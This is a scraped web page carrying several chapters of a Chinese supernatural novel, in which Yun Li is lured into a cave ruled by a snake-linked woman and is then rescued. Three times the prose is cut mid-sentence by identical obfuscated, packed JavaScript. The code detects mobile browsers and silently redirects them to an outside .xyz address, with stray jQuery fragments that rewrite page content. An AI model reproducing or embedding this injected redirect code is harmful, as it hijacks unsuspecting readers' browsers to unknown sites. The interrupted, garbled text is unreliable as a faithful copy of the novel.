云黎刚想伸手去抓,却沾了一手的黏腻湿滑,香气逼人,耳边传来女子的低语:“留在这里吧……”
他刚想答应,耳边隐约传来一阵铜铃响,震得他耳膜生疼。又一阵香风飘动,铜铃声被彻底隔绝,他看见一双漆黑如墨,又亮若星辰的眼眸。再想细看一番,一阵眩晕,已经失去意识。
“哥哥——哥哥——”耳畔传来陌生又熟悉的声音,脆若银铃。
他缓缓睁开眼睛,白光刺目,他眯着眼睛,好一会才适应,四处看了看,才发现自己身处宽敞的房间之中,身下所睡的床铺华丽无比,锦缎铺面上绣着粉色的牡丹花。床边两侧挂着淡白色纱帘,将整张床围起来,看不清床外的事物。
床后有一扇半米开合的窗子,明亮的光正是从此处照进来的。
云黎有些摸不清楚状况,又不敢轻易暴露自己。他轻轻推了推窗户,发现并未锁死,于是翻身一跃,从小窗里逃了出去。
外面是一处长廊,雕梁画栋,刷着青灰色的漆,看上去十分古朴。
沿着长廊往前走着,在转弯处暂作停留,靠在柱子边,仔细观察前方无人后才继续前行。
这时他才注意到,这些柱子上雕刻的都是类似鱼鳞一样的图案,触手冰凉,似乎并非普通石头,忍不住暗自惊叹起来。
穿过光秃秃的花园,此时正值冬季,草木凋零,只剩下左前方一处水池里还开着几朵淡紫色的睡莲。
云黎走过去,往水里张望,没有一条鱼儿的影子。
岸边矗立着一座巨龟雕像,雕刻的栩栩如生,一双眼睛直勾勾看过来,竟有几分渗人。
云黎收回目光,继续往前走,找寻出口。终于在绕了几个弯后,来到一处矮门边。此处黑瓦白墙,足有三米多高。云黎试着跳起身,也够不到墙头。
正无奈之际,他瞥见旁边有一棵老桃树,枝丫健壮,似乎可以做个垫脚之物。
盼着粗壮的树枝,云黎颤巍巍在树丫之间站稳,纵身一跃,堪堪翻过墙头,重重的摔在地上,疼得龇牙咧嘴,脑袋嗡嗡直转。
耳中的嗡鸣声逐渐消退之后,一阵喧闹的动静从远处飘过来。云黎心中莫名不安起来,脑袋‘滋’地一下,疼痛不已。
“哥哥,哥哥——”仿佛有人在叫他,可是他是家中独子,又哪里来的孩子称呼他为‘哥哥’呢?
挣扎着起身,他拖着沉重的步伐往声音传来的地方走去。
又一阵白光闪过,道路前方出现一条熙熙攘攘的街道,两边盖满了青灰色的瓦房,门口悬挂着青白色底的幌子,有写着‘酒’的,也有写个‘米’的,行人络绎不绝,穿插其中。
“嘿,小哥,买布吗?上好的绸缎,拿来做嫁衣刚好!”左手边的摊子上排满了五颜六色的布匹,年轻的老板撑开大红色的料子,拉着云黎的手就往上摸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988021|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
光滑细腻,像人的肌肤。
他只觉得脑子一片混乱,好像天地都错位了。
“小哥——哥——哥哥——”童稚的嗓音在耳边响起,眼前的街道、房屋像闪电一般的后退,逐渐隐藏进白色的光芒之中。
一转头,身旁站着一位十来岁的女孩,正牵着他的手。
“哥哥,你在做什么?”女孩问,神色满是疑惑。
“你叫我什么?”云黎恍惚间,记起来很久以前,似乎的确有个女孩,喜欢这样拉着他的手,叫他哥哥。
“哥哥,你怎么啦?爸爸妈妈已经走了,就剩下我们两个相依为命,你可不能吓我!”女孩呜呜哭起来。
“爸妈去哪里了?”
“去睡觉了,永远都醒不过来了。”女孩眨巴着狭长的眼睛,泪珠子还挂在睫毛上。
“啊——睡着了?”云黎心想,大概是死了吧。
他父母早逝,所以对这种失去父母的感受十分清楚,他拍拍女孩的头,安慰道:“别怕,有我在。既然你叫我哥哥,以后,我们就一起生活。我带你回家,家里还有奶奶在等着我们——”
“奶奶?”女孩问,“奶奶早就死啦!爸爸妈妈带着我们一起去山上埋的,你忘了啊?”
“咦?有这回事吗?”他记忆混乱起来,脑子里好像被塞进去不属于自己的东西,他很反感这种感觉,弯腰呕吐不止。
“妹妹?”他试探性地叫了一句,“我根本没有妹妹!”
云黎一把推开女孩,喘着粗气问道:“你到底是谁?”
“我?”女孩指着自己,夸张的睁着眼睛,“我是你妹妹啊!”
“我可不记得有这样的妹妹!”云黎盯着女孩,冷静下来,“而且,刚刚还是黄昏,现在天空却这么亮,这根本不是现实!”
女孩笑了,眼睛眯起来,“我就喜欢你这股聪明劲!”
天空白云翻滚,乌云密布,像打翻了墨水,撒在了白色床单上,翻搅着,荡漾着,云黎看得入迷了。
一转头,迎上一双魅惑的凤眼,记起来失去意识之前看见的那双眼睛,猛地吓出一身冷汗,顿时脑袋清明,眼神恢复了神采。
“没想到,他竟然能发现自己在‘幻境’之中!”嗓音尖利,像一只被捏住了脖颈的鸭子。
云黎仿佛灵魂归位似的抖了一下,伸出手转了转,握成拳头,仿佛已经很久没有感受到操控自己身体的真实感。
四周光线昏暗,空气湿黏。
他四处看了看,才发现自己此时身在一处不见天日的洞穴,地上随处可见一米多高的石笋,前方两边各立着一尊细长的铜烛台,微黄的光照在面前这些人的脸上,竟都是年轻而面容俊秀的年轻男人。
云黎吃了一惊,这些人眉眼之间竟然跟自己有几分相似。
他坐在椅子上,身后站着一位年轻男人,双手轻轻搭在他肩上。不知是为了防止他晕倒,还是辖制他的行动。
正前方摆着一张睡榻,铺着花斑纹路的动物皮毛,皮毛之上,躺着一个年轻女人,正是他恍惚间见到的那个人,只是似乎有些不同。
睡榻上的女人成熟丰满,像一只熟透了的桃子。而他于梦幻之中碰见的,似乎要更年轻些。但是,单从五官中来看,毫无疑问是同一个人,又或者是母子或者姐妹也说不定。
他定睛看去,那女人双腿修长,白皙透亮,光溜溜的从青色纱裙中伸出来,斜搭在睡榻边,一荡一荡地晃动着。
一时间竟看得呆了。
加上屋内异香缭绕,扰乱人心,他竟觉得心脏突突直跳,脸颊也烧起来。
虽然村中也有不少同龄女子,但如此直接的面对女人赤裸的双腿,还是第一次,如何能不心旌摇荡。
他深呼一口气,叹道:“你到底是谁?想要怎么样?”
女人轻轻招手,她身旁的男人立刻弯腰上前,递过去一只花纹围绕,镶嵌满各色宝石的杯子。
她朱唇微启,浅浅噙了一口,微微皱眉道:“越来越难喝了,你们是怎么回事?在我这里住得不开心吗?”
那年轻男人依旧弯着腰,语气歉疚:“水瑶大人,不是我们不开心,只是最近越来越担心您的身体,我——我们忍不住会忧虑——”
“唉,这本不是你应该担心的事情。既然如此,你还是回去吧。”女人挥挥手,另有两个年轻男人走上前,一个按住那人,另一个手起刀落,一刀斩下那人的头颅。
鲜血喷涌而出,溅到女人的脸上,她用手指轻轻沾了一些,塞进嘴里,笑道:“果然,还是害怕的时候,味道最好。”
说完,她眯起眼睛,仔细看着云黎的脸,神色阴晴不定。
“他明明只是关心你,你怎么可以——”云黎有些不平。
“如果真的关心一个人,不就应该为了她的快乐而努力吗?他关心我,反而给我这么难喝的东西,难道不应该死吗?”
6. 第六章 身似铁板心无悲欢
不知为何,原本云黎对面前的女子一直抱着一丝善意。但此刻见她胡言乱语,杀人不眨眼,心中不免升起厌恶之感。
他猛地站起身,却被身后的男子按住肩膀,又推回椅子上坐下。他有些不满,却四肢酸软,心中猜测,要么是他昏睡之中被这些人下了药物,要么就是这香味之中本就带着使人无力的成分。
身后之人的力气也并非很大,只不过刚才一时没站稳,这才倒在椅子上。他决心试上一试,这关系着他接下来是否能逃走。
为了保险起见,他假装虚弱坐在椅子上,问道:“你抓我回来,也是作为食物的?要吸我的血?咳咳——”
捂着胸口,微微弯下腰咳嗽,他扫了一眼四周,发现唯一的出口就在睡榻的右后方。从此处的角度看过去,似乎并没有人看守。
这些男人大都围在睡榻四周,讨好的看着面前的女人。
“你也看到了,我这里已经有了这么多男人,你觉得我会缺你吗?”女人翘着二郎腿,脸上笑吟吟的。
“可是我也看到了,你稍一不开心,就动手杀人,这再多的男人,也禁不住你杀啊。”云黎也笑了。
女人深吸一口气,微微后仰,露出大片雪白的胸脯,和纤细的脖子。看得云黎口干舌燥,连忙转过视线。
这时他注意到身边的这些男人们大都面色潮红,眼波迷离,恨不得立时冲上去按到那个女人,但是却又不敢,他们眼中更多的还有恐惧。
大约三米外的洞穴中央,立着一根两人抱的石柱,上面依旧是鱼鳞雕刻。烛光之下,那鳞片仿佛有了生命似的,微微闪耀着冷冽的光芒。
在那石柱之后,站着一个黑影。云黎不确定,那人是敌是友。
“水瑶大人,这个人要怎么处置?”尖细的嗓音再次说话,云黎注意到,是从他左手边发出的,是一个眉目晴朗的年轻男人,光看长相,倒是不错,可惜配上这么一副嗓子。
不过这幅嗓子,面前的女人都能不介意。云黎心想,难不成,这女人就喜欢这一类型的?所以找的男人都是差不多模样?
“云天徐,你似乎很讨厌这个人啊,”女人懒洋洋的托住下巴,“能告诉我原因吗?”
云?天徐?云黎脑中轰然,忽然记起了这人是谁。
寻水乡云家共分两支,云黎一家只剩下他这个独苗,另一家,云天杨为一家之主,已经年逾古稀。听说五十年前,他有个弟弟叫云天徐,月缺之日误入山中,从此消失了踪影。
难不成——这些年来,失踪的人都被这女人收集了过来?
不,不对劲。
这个叫云天徐的男人看上去跟自己年纪相差无几,根本不像六七十岁的样子。不可能是他听说的那个‘云天徐’。
也许只是同名同姓罢了。
云黎心中隐隐不安,又不敢往下猜测。他更愿意相信,面前的这些是人,而不是怪物。
他早就听说,这深山之中都有精怪。有的善良的,会变成一方守护之神。有的邪恶的,就会吸取人类的精魂,炼成邪魔外道,危害一方。
如果面前这些‘东西’是人,他还有希望逃出去。如果这些‘东西’,不是人类,那他必死无疑。
犹疑之际,他用眼角瞥见那个黑影此时已经消失,不知去了何方。原本带着一丝希望,以为那是老柳,现在已然破灭。
也许,今日注定要死在这里,他心底一阵绝望。
似乎为了呼应他此刻的心境,榻上的女人玉葱似的手指轻轻一挥,说:“带他下去梳洗,我要他穿‘那套’衣服。”
这群人小声嘀咕着,似乎十分不情愿,但是最后还是由两个人带着云黎去梳洗。
连推带耸的,云黎来到洞穴深处,才发现洞穴之中还有洞穴。
黑漆漆的洞口墙壁上悬挂着两根红烛,就连那烧出的光芒也微微发红。里面摆着一只大水缸,里面装着大半缸清水,刚好可容下一人。
一人架好木柴,开始烧火。
“去,脱衣服!”尖细的嗓音在他耳边响起。
云黎这才发现,带着他来的其中一人,就有这个‘云天徐’。他一只手上抱着一摞淡蓝色的长衫和黑色靴子,另一只手里拿着根手腕粗细的木棍。
这时水也冒出白色的蒸汽,在那两人的监视下,云黎慢吞吞脱好衣服,进去洗澡。
换上这身新衣服后,云黎才发现云天徐脸色十分难看,他问道:“你很喜欢那个女人?”
“不是喜欢,我爱她。”云天徐恨恨道,“可惜,她不爱我,可是她爱你,我看得出来。”
“她不过第一次见我,哪有什么爱不爱的,你这样觉得,未免对自己太不自信了。”
在这样黑暗、压抑的环境中,不知为何,云黎竟然有些同情眼前的奇怪男子。
只是云天徐却面露古怪神色,动了动嘴唇,最终什么都没说。
一时间,云黎有些尴尬,“对了,你认识云天杨吗?”原本没打算得到回答,岂料对方慢悠悠答道:“嗯,那是我哥哥,怎么了?”
“怎么可能?”
云黎吃惊至极,刚想多问几句,这时,轰隆一声,洞穴深处传来一阵石块碎裂之声。大地开始晃动,三人脚下不稳,纷纷撞倒在墙壁上。水缸也被碎石砸的裂开,水撒了一地,顿时脚下污泥一片,行走都十分困难。
三人挣扎着往外狂奔,只见睡榻之上,女人难得的露出了担忧之色。那群男人围在她身旁,不肯离去。
云黎大叫着,想让那些人逃命,但他们神色坚定,似乎已经做好了死亡的打算。无奈,他回过头想拉着云天徐离开,谁知道那人早已站到睡榻边,围在那名叫水瑶的女人身旁。
云黎本打算直接离开,但是又折回来,拉着云天徐问道:“为什么不走?这个女人就这么好吗?你家里还有哥哥,你知道吗?他都八十多岁了,身体也不好,一直念着你这个兄弟!”
云天徐有些动容,但转瞬即逝,他苦笑道:“山中方一日,世上已千年。我哥哥早就以为我已经死了。如果你还抱有一丝善意,就别跟他说见过我。”
然后推了一把,云黎踉跄几步,最终还是扭过头,狠心离开。
轰隆一声,睡榻后方的石块散落下来,砸在那群围在床边的男人身上,一时间惨叫声不断。云黎忍不住看了一眼,顿时呆在原地。
那睡榻后方露出来一只巨大的——蛋?
那只椭圆形物件大概一米多高,半透明的外壳,发出淡淡的荧光。里面似乎有东西在动,看着像是一个婴儿,有五根手指贴在蛋壳上。下半身离蛋壳较远,看不清楚,只隐约看见一根长长的脐带,连接在蛋的下方。
他刚想细看,却听见身后传来呼喊声:“云黎!你在哪里?”
从洞口的位置跑过来一个黑影,正是老柳。
他举着火把,大叫:“快走!洞穴要塌了!”
两人一边躲闪着巨石,一边往洞口跑去。就在他们逃出生天的那一刻,整个洞口都被碎石挡住,再也无法进入。
伴冬走过来,将一颗黑色丸药塞进云黎口中,笑道:“身体酸软吗?他们在洞里点春药,我就给他们加了点料,好让他们心尖上像是蚂蚁爬,但是四肢却没力气。”
“可是,这是地震吗?里面还有好多人,得回村子里找人救他们——”云黎一抬头,朝阳升起,光芒四射。一时间,他竟然有些分不清现在是梦还是现实。
柳水鹤叹道:“里面那些,只怕已经不是人了。这山洞十分诡异,面积甚广,却只有寥寥几根石柱支撑,我开始也觉得不可思议。偷偷潜伏进去,在其中一根柱子上绑了炸药,结果你猜,发生了什么?”
“洞穴都塌了,还用猜吗?”云黎身心俱疲,瘫坐在地上。
“不是,那根柱子,是活的!”柳水鹤也坐在地上,继续道。“那些石柱全都是修蛇化身,用以支撑山洞不塌。我那包炸药,本不足以炸得整座山都晃动,只是因为,惊动了那山中蛇族。”
这时云黎才恍然大悟:“那根本不是脐带,而是蛇尾!”
他将所见之物仔细描述一番,道:“那个巨蛋里的东西,到底是人还是蛇?难不成是那女人跟蛇交合,所生下来的东西?”
“这个几乎是不可能发生的事情。”伴冬皱眉,“人类跟蛇的产子方式有根本上的不同,就好像,小狗跟小鸡,两个物种,不可能生的下来后代的。”
“可是,神话里不是有白娘子吗?”柳水鹤问道。
“神话是神话,现实是现实。如果那女人是神仙,也用不着拿春药来迷惑那群男人了。”伴冬有些不屑。
“对了,”云黎想起一事,“我在那群人里面发现一个人,他应该有六七十岁才对,但是现在看上去才——跟我差不多年纪,这是怎么回事?”
“幻境吧,那个洞里面,被那女人下了药,你们脑子都不清楚。”柳水鹤猜测道。
“可是,你呢?你看见那些人了吗?”
“我是远远地瞟了一眼,但是那么黑,我也没看清楚——”柳水鹤无奈。
三人沉默着,不发一语。这时背后传来嘻嘻索索的动静,云黎转过头,发现一只小黑蛇正快速游过来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988022|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扁头上一张大嘴张着,尖锐的獠牙闪着寒光。
眼看着就要咬上来,只听见嗷呜一声,闪过一道身影,那条黑蛇已经消失不见。
三人连忙起身看去,一匹黑白相间的狼嘴里叼着那条黑蛇,一用力,蛇断成两截。柳水鹤立刻绷紧了身子,打算迎战。云黎也打起精神,紧盯着那匹狼。
那狼甩了甩头,迈着大步走过来,似乎完全不将这些人放在眼里。伴冬走上前,柳水鹤忙拉住她,道:“你要做什么?这野兽可没有人性的!”
“没事,我跟它很熟的,它经常给我送这些亮晶晶的石头。”伴冬掏出来一把大小不一的宝石,五颜六色的。
柳水鹤吃了一惊,叹道:“要是有谁送给我这么一把,这辈子我也就衣食无忧了。”
那匹狼走过来,靠在伴冬脚边蹭了几下,又抬头指了指远方,低声叫唤。伴冬弯腰问道:“是不是庄老在那边?”
那狼似乎听得懂人话,微微点头。
三人一狼,继续往山中走去。
这时云黎问起昨天发生的事情,不知道老柳跟伴冬是怎么找到自己的。柳水鹤笑道:“是你自己带我们过来的,你忘了啊?”
原来昨天傍晚,三人来到一处山坡上,忽然之间,从树木之间飘过来一阵甜腻香味。伴冬精通药理,深知其中不妙,大喊一声让他们捂住口鼻,可惜为时已晚。
柳水鹤掏出一只铜铃疯狂摇动,这才稳住心神。这铜铃乃是他祖传之物,据说是经过高人开光,百鬼不侵的神物。
可云黎就没有这么好运,被那股香气围绕着,其他二人再也无法接近。他仿佛失去意识一般,跌跌撞撞往深山中走去。
柳水鹤带着伴冬紧跟其后,生怕他掉下山。
不知过了多久,月亮高悬,柳水鹤看着那缺了一角的圆月,想起了云奶奶说的话:“月缺之日,不能进山。”
加上夜晚温度变低,他没忍住打了个寒噤。
伴冬低声道:“月缺我也进过山,也从没发生过什么事情,这一切也许只是迷信而已,别担心。”
柳水鹤心中有些感动,暗道:这女孩子就是心思细腻,他不过是打个寒噤,都能感觉出来。
这时,云黎走到一处山洞边,摇摇晃晃倒了下去。柳水鹤刚想上去搀扶,只见几个黑影从洞中佝偻着腰走出来,抬着云黎又钻了进去。
幸好此处矮木丛很多,挡住了两人身影,这才没有被他们发现。
过了许久也不见有人出来,柳水鹤心里着急,打算独自进去查探。伴冬却因为那股香甜气味儿,发现这山洞并不寻常。
那香气,含有使人丧失理智,情欲高涨的功效。
开始她认为,也许是某个热衷于寻欢作乐的女人在此处勾引年轻男性。两人在洞口燃烧软骨香,打算趁着里面人四肢无力之时进去营救云黎。
那个靠在柱子后的黑影,正是潜入进去的柳水鹤。他用沾了藿香水的布条捂住口鼻,偷偷查看洞内情况。
结果也许是软骨香效力太强,他感到身旁的石柱竟然微微晃动起来。他悄悄掰下来一块石头,发现那石柱中间,竟然是一条青黄赤黑的长蛇。
普通的长蛇并没有力气可以撑得起来这座高山,柳水鹤看出那蛇身上的黑色圆形印记,认出了那是传说中可以生吞一只大象的修蛇。
一座以修蛇为柱的山洞,一群燃着催情香的痴男怨女,这一切种种,散发着鬼魅的气息。柳水鹤没有把握可以在这群人和蛇中救出云黎,只好利用仅剩的一点炸药,打算毁坏一根柱子,引发混乱,趁机带着云黎逃离这座魔窟。
谁知道那炸药引起的骚动远远超出他的预计,炸药发出的硫磺气味引得蛇群四处逃窜,整个山洞全部倒塌。
至于那个人身蛇尾的怪物,只怕也会长埋地下,再也见不了日光。
不过,终究是害死了许多人命,柳水鹤心生愧疚,低下了头。
“其实,那些人也不一定还活着。几十年过去了,他们依旧年轻,只怕也已经是魔窟的一部分了。”伴冬突然开口,“修蛇是上古时代的魔物,竟然甘愿在此处沦为石柱,只怕其中另有隐情。只是现在洞穴已经毁坏,其中的因由也已经深埋地下。”
原本前方带路的狼忽然停下,龇牙咧嘴起来,发出呜呜的叫声。
柳水鹤用手遮在眉毛上方,定睛看去,只见十来只野狼聚集在一处,围堵着一只体型巨大的黑色怪兽。怪兽体型巨大,四肢粗壮,背部毛发竖起,口中不断发出哼哧的低吼。
那怪兽额间一撮白毛,正是前天夜里碰见的那只狼王。
7. 第七章 生人却有欢乐忧愁
眼看狼王体型比前天夜里足足大了一倍不止,行迹疯狂,柳水鹤心中已经猜到大概。只怕是这只狼王无意间碰见那只‘尸惊’后的僵尸,误以为是寻常人,一口咬过去,令自己中了尸毒。
眼下当务之急,乃是先制止那发了狂的狼王才行。柳水鹤掏出青铜铃铛,当空一摇,空灵飘远的声音从四面八方反射回来,一瞬间,那狼王竟然停止嘶吼,怔怔呆在原地。
趁此机会,伴冬掏出一把镇静的丹药,悉数塞进狼王口内。那狼王顿时反应过来,本能的反抗挣扎。伴冬使劲捂住狼王嘴巴,不让它将丹药吐出来。
终于,狼王将药物吞下,渐渐平息下来,摇摇晃晃走了几步后,倒在地上。
围着的十多只野狼也试探性地往这边走过来,见狼王不在动弹,终于大胆的用爪子掏掏狼王的尾巴或者脑袋。
带路的那只年轻的狼再次蹭了蹭伴冬的脚,指了指后方的树林,轻轻叫了一声,示意继续前行。
看着地上昏迷的狼王,黄色的脓水从嘴角不断地渗出来,发出恶臭气味。柳水鹤犹豫了一会,看了眼云黎,还在气喘吁吁,看来所中软骨香的药效还没散尽。又看向伴冬,正在跟那只带路的小狼交流,根本没注意到这边。
再者说了,他总不能让一个女孩子抱着这匹发臭的野狼,自己一身轻松。无奈,他左右两只手各抓着狼王的两只前足,避开那张发臭的嘴巴,跟在众人身后往高处走去。
无奈这样的姿势有碍前进速度,他逐渐落后,混在狼群之中。
也许是因为他对待狼王的姿势不够尊敬,围在身边的那群野狼纷纷低沉着嗓子呜呜直叫,不时地蹭蹭他的小腿,眼睛发出阵阵凶光。
这一举动反而激怒了他,干脆将狼王两只前足一手抓起,像拎包一样提着这位‘狼中之王’,大步朝前走去。
临近中午,山中飘过来一阵米饭香气,几人立刻感到腹内犹如火烧,这才想起来,自从昨天中午吃过一顿,再无进食。
“看来,这四肢无力也不仅仅是软骨香的缘故啊!”云黎说。
“既然如此,这只狼王你提着吧,我快累死了!”不由分说,柳水鹤将手里的两只爪子递过去,拍了拍手,加快步伐往炊烟飘来的方向跑去。
爬上去一看,原来山坡上有个茅草屋,一位老者坐在门口整理背筐,里面满是青绿色的草药。
“庄老,你怎么在这里?”伴冬也跑过来,满脸欣喜。
眼前这位老人,穿着青黑色麻布短褂,手指细长,布满皱纹,拣草药的速度极快。他听到叫喊声,才抬起头看过来,脸庞瘦削,下巴留着两寸长的胡须,一头白发束在头顶,用一根青玉簪子固定,看上去仙风道骨,颇有一股世外隐者的气质。
“糯米我准备好了,你们快把白额头送过来。”老人说完,放下手里的竹背篓,请众人入内。
“ ‘白额头’?”柳水鹤看向云黎,忽然忍俊不禁笑出声,“还真形象!这个称号,比薛暮冉那小子的‘狼王’好多了!”
忽然云黎用胳膊肘捣了一下他,这才注意到庄老表情严肃,似乎隐隐有些怒气。柳水鹤干咳两声,笑道:“庄老您好,我是绿柏乡的赶尸人老柳。这次也是因为月圆之夜,生人靠近导致‘尸惊’,这才放跑了那只僵尸,引发这一系列的事情,实在抱歉。”
庄老不发一言,指指墙角的陶土盆,让他们将狼王放进去。伴冬揭开锅,一股米汤的香味飘出来。
几人腹内顿时咕噜作响,柳水鹤注意到,就连伴冬也没忍住,暗自吞了几次口水。
“庄老,这是给我们准备的吗?一天没吃了,我们又在山上找了您一夜,饿坏了!”柳水鹤说完,伸手打算拿碗盛稀饭。
伴冬笑起来,“这米汤是给白额头泡澡用的,我先盛一盆表层的汤水,剩下的你再吃吧。”
说完用木水舀将米汤舀进水桶,底下全是粘稠的米粥,几人胡乱喝了几碗后,才摸摸肚子,满足的打着饱嗝。
伴冬探了探桶里米汤的温度,这才慢慢倒进陶土盆中,将狼王的嘴巴着重浇了好几下,直到白色的汤水浸没狼王的半个身子。
其他狼群此时也都围过来,在陶土盆四周卧着休息。
午后阳光明媚,庄老带着伴冬在门口收拣药草,柳水鹤看了看屋内陈设,除了一张藤椅,连个睡觉的地方也没有。无奈,只能坐在窗台上休息,将椅子留给云黎。
“既然大夫也找到了,受伤的狼王也救治了,等会休息好了,就能下山了。”
云黎轻轻一笑,“这一夜还真是惊险,进了奇怪的蛇洞,还看见了几十年前的故人,跟做梦一样。”
“故人?你还有几十年前的故人?”庄老忽然走进来,“别说几十年前,二十年前你还穿着开裆裤,露着屁股蛋子四处跑呢!”
这话说得云黎脸上通红,他看了另外两人一眼,犹豫再三,还是将洞中所见之事悉数告知庄老,又把几人的猜测说了一遍,“我想,那个要么是做梦,要么就是蛇成了精,把那些人都变成了怪物。”
“蛇——吗?”庄老扶着额头,眼中闪过悲痛之色,“这么说,那场震动也是你们干的?”
三人默默点头。
“这下可糟了,真的糟糕了。”庄老颤抖着双手,在空中乱摸,似乎想找到什么东西撑住身体。
伴冬赶紧上去扶他到藤椅上坐下,半跪在他膝下,问道:“到底怎么了?那个蛇洞坍塌,里面的东西肯定活不了,还有什么需要担心的吗?”
“你们年轻人,不懂其中的厉害啊!”庄老叹道,“那东西如果仅仅是塌方就能解决的话,我们这么些年,也不用这么担惊受怕了,那可是修蛇,上古就存在的神物!现在你们毁了它的住所,这可怎么好啊!”
“可是,那些修蛇虽然厉害,也不过跟我大腿一样粗细,肯定不会是活了几千年的老东西。这还能逃得出来?您老别太害怕了。”
庄老像看待傻子一样看着柳水鹤,“大腿粗细?那不过是千千万万代的子孙,真正的修蛇,有这半座山大小。换句话说,这桐柏山,有一半是修蛇的化身!”
“您老是不是神话小说看多了?”柳水鹤惊讶道,“现在这个年代,我赶尸人家都觉得不可思议,您说还有这样庞大的怪物,说出去有人信吗?骗骗小孩子回家睡觉还差不多——”
说完,嗤笑一声,走到窗前,看着外面平静的风景,继续道:“而且已经过去了这么久,要真有那样的老怪物,还不出来报仇吗?现在怎么一点动静都没有?”
他看着云黎一副如有所思的表情,问道:“难不成,你也相信这种神话故事?”
“那倒不是,只是,我听奶奶说过,一百多年前,村子里曾经闹过蛇灾,死了不少人。不知道那件事跟修蛇有没有关系……”
没等云黎说完,庄老一声叹息,“冤孽啊!当年那些事,那些事,唉,不提也罢。事到如今,我已经无能为力了。这么多年来一直跟这座大山相依为命,最后死在这山里,也算圆满了。”
感觉其中事有蹊跷,柳水鹤噌的一下从窗台上下来,逼问道:“当年你们干了什么?抄了修蛇老巢吗?不然为什么这么害怕?对了,你们村子四周都放置硫磺,难不成也是因为这个?”
云黎走过来推开他,低声道:“庄老都一把年纪了,你还刺激他!”又转头对伴冬说:“先带着庄老下山吧,我们跟村子里其他人一起商量看看怎么办。”
“不,我不下山,要走你们自己走,我要住在这里,与其下山看着他们死,不如死在这里落个清静!”庄老死死抓着藤椅不放。
无奈,柳水鹤跟着云黎下山,伴冬留在茅草屋内照顾庄老,和那只中了尸毒的狼王。
傍晚时分,两人回到寻水乡。趁着夕阳未落,柳水鹤绕到屋子旁边,将剩余的硫磺倒进石台中。
“趁着你去找医生,我拿了点硫磺,本打算做点烟花爆竹,可惜没有材料。就塞进包袱里,没想到进山还用上了。”
云黎笑笑,“等这次事情过去,我去县城里买他是个炮仗,回来慢慢点。”
“这冬天干燥,你当心点燃了桐柏山,这可就一波刚平,一波又起了。”
谈笑间,云黎推开虚掩的房门,正迎上一双干净无辜的眼睛。
薛暮冉穿着一身白色棉布衣服,正坐在桌边喝粥,脸色红润,短发飘逸,跟昨天那副汗流浃背,满面青白的样子简直天差地别。
“哎呀,乖孙子,还吃不吃煎鸡蛋啦?”云奶奶迈着小碎步跑过来,殷勤的拍着薛暮冉的后背。
“你奶奶——是不是认错人了啊?”柳水鹤转头问道,却见云黎也是一副疑惑的表情。他心里已经猜到大概,八成是云奶奶眼神不好,错把薛暮冉那小子当成了亲孙子加以照顾。
于是上前勾过来板凳坐好,挑薛暮冉的茬。
“喂,薛暮冉,你好意思在这里大摇大摆吃着饭吗?你知道我们为了你差点连命都没有了吗?”
“唉?可是隔壁刘大姐说你们进山是为了找那个大夫啊,跟我有什么关系?”薛暮冉一脸惊讶。
“要不是因为你,我们用得着进山找大夫吗?”
说着夺过薛暮冉的碗筷,自顾自吃起来。
“你不嫌恶心啊?我刚吃过呢!”薛暮冉骂道,又看向云奶奶,满脸撒娇的模样,“奶奶您看,他抢我吃的!”
谁知这时云奶奶转头看见云黎,立刻发现不对劲,“哎呀,怎么有两个阿黎?”
云黎无可奈何地笑了,推着云奶奶进房休息。
“薛暮冉,你这样可不道德,你喊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988023|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她奶奶,云黎怎么办?他为了你差点小命都丢在山里,差一点点就被女鬼抓着吸干了精血。你竟然还霸占着他奶奶,还是人吗?”
“我要不假装是云黎,他奶奶能放心在家呆着吗?早进山里找人去了!你以为我愿意假装啊?”
两人你一言我一语的,互相责怪。云黎恰好回来听到这话,笑着谢过薛暮冉,弄得他们二人都有些羞愧。
“咳咳,对了,女鬼是怎么回事?”薛暮冉打破沉默。
这时,云黎才想起来,还有重要事情没有完成,“差点忘了,我去找刘村长,说一下修蛇这件事。”
“修蛇?那是什么?”薛暮冉大声问着,却见云黎已经跑出门,连个影子都看不见。
他只好看向柳水鹤,却只收到对方的白眼。
“别再问我了,我今天都重复两遍了!”
“我不问你问谁?还有谁能告诉我?你那只僵尸还抓不抓了?”
说到僵尸,柳水鹤咽下正在喝的稀饭,喃喃道:“你要是不说,我也差点忘了,还有这茬。”
“你们从山上回来一趟,不是忘了这个就是忘了那个,搞什么啊?”薛暮冉无奈地大叫起来。
讲述完事件经过,薛暮冉满脸不可置信的表情:“你说尸惊,我信了,你说这山里有野兽,我也信,你现在说,这里面藏着半座山那么大的巨蛇,你当我是傻子吗?”
